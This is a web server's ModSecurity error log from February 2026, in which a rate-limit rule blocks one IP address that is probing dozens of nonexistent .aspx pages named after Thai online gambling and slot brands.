[Wed Feb 11 10:08:15.668026 2026] [:error] [pid 27964:tid 27986] [client 54.37.252.46:34700] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYvkj8p0XgWYHLcQtEgQYQAAAAs"]
[Wed Feb 11 10:08:18.081079 2026] [:error] [pid 27965:tid 28013] [client 54.37.252.46:34726] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYvkktHLAUAIo8qpZyGs_wAAAEo"]
[Wed Feb 11 10:08:20.617150 2026] [:error] [pid 22570:tid 22609] [client 54.37.252.46:34744] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYvklCE5uSe043FXwQrUQwAAAck"]
[Wed Feb 11 10:08:23.335908 2026] [:error] [pid 22569:tid 22585] [client 54.37.252.46:58132] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYvkl8AhSI7iX9G3eniXkAAAAYw"]
[Wed Feb 11 10:08:25.902615 2026] [:error] [pid 27965:tid 28008] [client 54.37.252.46:58136] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYvkmdHLAUAIo8qpZyGtFwAAAEU"]
[Wed Feb 11 10:08:28.590828 2026] [:error] [pid 27966:tid 28042] [client 54.37.252.46:58150] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYvknF8HJ9ydyf0SPu4LVAAAAIw"]
[Wed Feb 11 10:08:31.314399 2026] [:error] [pid 28073:tid 28094] [client 54.37.252.46:58154] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYvkn4eHYIlOlF-DsMzQogAAANM"]
[Wed Feb 11 10:08:34.105214 2026] [:error] [pid 22570:tid 22613] [client 54.37.252.46:46608] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYvkoiE5uSe043FXwQrUTQAAAc0"]
[Wed Feb 11 10:08:36.623705 2026] [:error] [pid 22570:tid 22601] [client 54.37.252.46:46612] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYvkpCE5uSe043FXwQrUUQAAAcE"]
[Wed Feb 11 10:08:39.234855 2026] [:error] [pid 27966:tid 28038] [client 54.37.252.46:46620] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYvkp18HJ9ydyf0SPu4LYgAAAIg"]
[Wed Feb 11 10:08:41.668246 2026] [:error] [pid 27966:tid 28043] [client 54.37.252.46:46622] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYvkqV8HJ9ydyf0SPu4LaQAAAI0"]
[Wed Feb 11 10:08:51.915796 2026] [:error] [pid 27966:tid 28037] [client 54.37.252.46:36178] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYvks18HJ9ydyf0SPu4LfwAAAIc"]
[Wed Feb 11 10:08:54.609432 2026] [:error] [pid 22537:tid 22555] [client 54.37.252.46:38146] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYvktifg2TagwM3bvQNpEQAAAVA"]
[Wed Feb 11 10:09:25.459517 2026] [:error] [pid 27966:tid 28051] [client 54.37.252.46:45906] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYvk1V8HJ9ydyf0SPu4LtAAAAJU"]
[Wed Feb 11 10:09:28.460627 2026] [:error] [pid 22570:tid 22608] [client 54.37.252.46:51790] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYvk2CE5uSe043FXwQrUeAAAAcg"]
[Wed Feb 11 10:09:31.137923 2026] [:error] [pid 28073:tid 28081] [client 54.37.252.46:51804] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYvk24eHYIlOlF-DsMzQyAAAAMY"]
[Wed Feb 11 10:09:34.140409 2026] [:error] [pid 27965:tid 28026] [client 54.37.252.46:56260] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYvk3tHLAUAIo8qpZyGtUAAAAFc"]
[Wed Feb 11 10:09:36.920915 2026] [:error] [pid 17401:tid 17425] [client 54.37.252.46:56264] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYvk4A0lHeayTY40t37Z-wAAARY"]
[Wed Feb 11 10:09:39.748780 2026] [:error] [pid 22537:tid 22540] [client 54.37.252.46:56270] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYvk4yfg2TagwM3bvQNpIwAAAUE"]
[Wed Feb 11 10:09:42.512337 2026] [:error] [pid 28073:tid 28090] [client 54.37.252.46:56276] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYvk5oeHYIlOlF-DsMzQzQAAAM8"]
[Wed Feb 11 10:09:45.221767 2026] [:error] [pid 22569:tid 22595] [client 54.37.252.46:60666] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYvk6cAhSI7iX9G3eniX1AAAAZY"]
[Wed Feb 11 10:09:47.834534 2026] [:error] [pid 22570:tid 22602] [client 54.37.252.46:60676] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYvk6yE5uSe043FXwQrUhQAAAcI"]
[Wed Feb 11 10:09:50.266790 2026] [:error] [pid 22569:tid 22592] [client 54.37.252.46:60692] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYvk7sAhSI7iX9G3eniX2QAAAZM"]
[Wed Feb 11 10:09:52.849494 2026] [:error] [pid 27966:tid 28045] [client 54.37.252.46:60694] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYvk8F8HJ9ydyf0SPu4LzgAAAI8"]
[Wed Feb 11 10:09:55.427842 2026] [:error] [pid 17401:tid 17416] [client 54.37.252.46:32864] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYvk8w0lHeayTY40t37aDgAAAQ0"]
[Wed Feb 11 10:09:57.947590 2026] [:error] [pid 28073:tid 28075] [client 54.37.252.46:32876] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYvk9YeHYIlOlF-DsMzQ2AAAAMA"]
[Wed Feb 11 10:10:00.355053 2026] [:error] [pid 27964:tid 27982] [client 54.37.252.46:32892] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYvk-Mp0XgWYHLcQtEgQmgAAAAc"]
[Wed Feb 11 10:10:02.765356 2026] [:error] [pid 27966:tid 28032] [client 54.37.252.46:32906] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYvk-l8HJ9ydyf0SPu4L3QAAAII"]
[Wed Feb 11 10:10:05.165711 2026] [:error] [pid 22537:tid 22562] [client 54.37.252.46:33930] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYvk_Sfg2TagwM3bvQNpNgAAAVc"]
[Wed Feb 11 10:10:07.766510 2026] [:error] [pid 17401:tid 17408] [client 54.37.252.46:33936] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYvk_w0lHeayTY40t37aFwAAAQU"]
[Wed Feb 11 10:10:10.408133 2026] [:error] [pid 17401:tid 17425] [client 54.37.252.46:33948] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYvlAg0lHeayTY40t37aGwAAARY"]
[Wed Feb 11 10:10:13.071659 2026] [:error] [pid 28073:tid 28088] [client 54.37.252.46:33950] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYvlBYeHYIlOlF-DsMzQ5QAAAM0"]
[Wed Feb 11 10:10:15.798711 2026] [:error] [pid 22570:tid 22603] [client 54.37.252.46:33580] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYvlByE5uSe043FXwQrUqQAAAcM"]
[Wed Feb 11 10:10:18.555647 2026] [:error] [pid 27964:tid 27988] [client 54.37.252.46:33592] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYvlCsp0XgWYHLcQtEgQrwAAAA0"]
[Wed Feb 11 10:10:21.242871 2026] [:error] [pid 22537:tid 22542] [client 54.37.252.46:33604] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYvlDSfg2TagwM3bvQNpPQAAAUM"]
[Wed Feb 11 10:10:43.174901 2026] [:error] [pid 27965:tid 28027] [client 54.37.252.46:56758] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYvlI9HLAUAIo8qpZyGtowAAAFg"]
[Wed Feb 11 10:10:45.792368 2026] [:error] [pid 27966:tid 28041] [client 54.37.252.46:42454] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYvlJV8HJ9ydyf0SPu4MKAAAAIs"]
[Wed Feb 11 10:10:48.232971 2026] [:error] [pid 27965:tid 28019] [client 54.37.252.46:42462] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYvlKNHLAUAIo8qpZyGtrwAAAFA"]
[Wed Feb 11 10:10:50.801937 2026] [:error] [pid 27966:tid 28042] [client 54.37.252.46:42474] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYvlKl8HJ9ydyf0SPu4MKgAAAIw"]
[Wed Feb 11 10:10:53.535535 2026] [:error] [pid 27966:tid 28034] [client 54.37.252.46:41980] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYvlLV8HJ9ydyf0SPu4MKwAAAIQ"]
[Wed Feb 11 10:10:56.045680 2026] [:error] [pid 27966:tid 28032] [client 54.37.252.46:41982] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYvlMF8HJ9ydyf0SPu4MMQAAAII"]
[Wed Feb 11 10:10:58.698411 2026] [:error] [pid 27966:tid 28048] [client 54.37.252.46:41998] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYvlMl8HJ9ydyf0SPu4MOgAAAJI"]
[Wed Feb 11 10:11:01.215676 2026] [:error] [pid 22570:tid 22622] [client 54.37.252.46:42002] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYvlNSE5uSe043FXwQrUyQAAAdY"]
[Wed Feb 11 10:11:03.766884 2026] [:error] [pid 27964:tid 27975] [client 54.37.252.46:56982] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYvlN8p0XgWYHLcQtEgQwwAAAAA"]
[Wed Feb 11 10:11:06.571528 2026] [:error] [pid 22537:tid 22539] [client 54.37.252.46:56986] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYvlOifg2TagwM3bvQNpaAAAAUA"]
[Wed Feb 11 10:11:09.129445 2026] [:error] [pid 22570:tid 22601] [client 54.37.252.46:56990] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYvlPSE5uSe043FXwQrU0QAAAcE"]
[Wed Feb 11 10:11:11.877251 2026] [:error] [pid 22537:tid 22550] [client 54.37.252.46:57002] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYvlPyfg2TagwM3bvQNpawAAAUs"]
[Wed Feb 11 10:11:14.472618 2026] [:error] [pid 22537:tid 22542] [client 54.37.252.46:47516] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYvlQifg2TagwM3bvQNpbgAAAUM"]
[Wed Feb 11 10:11:17.290617 2026] [:error] [pid 28073:tid 28098] [client 54.37.252.46:47520] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYvlRYeHYIlOlF-DsMzRAgAAANc"]
[Wed Feb 11 10:11:19.850385 2026] [:error] [pid 22537:tid 22557] [client 54.37.252.46:47524] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYvlRyfg2TagwM3bvQNpdQAAAVI"]
[Wed Feb 11 10:11:22.716222 2026] [:error] [pid 22570:tid 22609] [client 54.37.252.46:47526] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYvlSiE5uSe043FXwQrU3gAAAck"]
[Wed Feb 11 10:11:25.248096 2026] [:error] [pid 22537:tid 22545] [client 54.37.252.46:45404] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYvlTSfg2TagwM3bvQNpfgAAAUY"]
[Wed Feb 11 10:11:28.108393 2026] [:error] [pid 22570:tid 22616] [client 54.37.252.46:45416] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYvlUCE5uSe043FXwQrU5AAAAdA"]
[Wed Feb 11 10:11:30.962718 2026] [:error] [pid 27966:tid 28049] [client 54.37.252.46:45420] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYvlUl8HJ9ydyf0SPu4MXQAAAJM"]
